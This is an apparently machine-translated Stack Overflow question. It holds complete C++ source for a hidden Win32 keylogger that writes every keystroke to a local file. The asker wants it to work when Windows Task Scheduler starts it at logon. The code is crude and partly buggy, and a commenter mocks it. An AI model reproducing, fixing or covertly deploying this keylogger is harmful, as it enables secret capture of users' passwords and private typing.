【发布时间】:2013-11-20 17:18:36
【问题描述】:
我在 Win32 中制作了这个 c++ 程序,没有控制台(Win32 应用程序)。该程序应该从键盘获取所有输入,并将其放入文件:“file.txt”。 当我通过visual studio 2012运行程序时,当我运行程序的.exe文件时,它工作得很好。但问题是当我试图通过taskschd.msc运行它(.exe文件)时 - Windows 任务调度程序:它不工作。 我按照这里描述的如何在 taskchd.msc 中安排程序的说明进行操作: http://www.sevenforums.com/tutorials/67503-task-create-run-program-startup-log.html
我是使用管理员用户完成的。
问题是当taskschd.msc启动这个程序时,我可以在taskmanger中看到程序已经启动,但是由于某种原因它没有将任何字符放入文件中。
我想要的是,即使程序是使用 taskchd.msc 启动的,它也会像我手动激活时一样工作。
我什至尝试在任务调度程序中运行一个启动 .exe 的 .bat 程序,但它没有帮助,尽管手动激活时它工作正常。
我,也没有人知道,不知道如何解决这个问题。
这是代码:
//Define the minimum operating system for the application:
#define _WIN32_WINNT _WIN32_WINNT_WINXP //Windows XP
//Get rid of the annoying min() and max() macros:
#define NOMINMAX
//Include the windows header:
#include <iostream>
#include <fstream>
#include <conio.h>
using namespace std;
#include <Windows.h>
#include <Winuser.h>
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
//if (OUTPUT_FILE == NULL )
//return -1;
if (key_stroke == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CTRL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if(key_stroke == VK_DELETE)
fprintf(OUTPUT_FILE, "%s", "[DEL]");
else if(key_stroke == VK_INSERT)
fprintf(OUTPUT_FILE, "%s", "[INS]");
else if(key_stroke == VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == VK_BROWSER_BACK)
fprintf(OUTPUT_FILE, "%s", "[BROWSER_BACK]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
int wWinMain(HINSTANCE hInst, HINSTANCE prevInst, LPWSTR szCmdLine, int nCmdShow)
{
while (1)
{
for(char i = 8; i <= 300; i++)
{
if (GetAsyncKeyState(i) == -32767)
if(Save (i,"File.txt")==-1)
return 0;
}
}
return 0;
}
【问题讨论】:
-
100% CPU 核心负载,在持有密钥时连续写入磁盘,为每个持有的密钥打开和关闭文件。这是我见过的最糟糕的键盘记录器。
-
这只是一个测试。我知道它真的很糟糕。我才刚开始。但为什么不工作?
标签: c++ window scheduled-tasks win32-process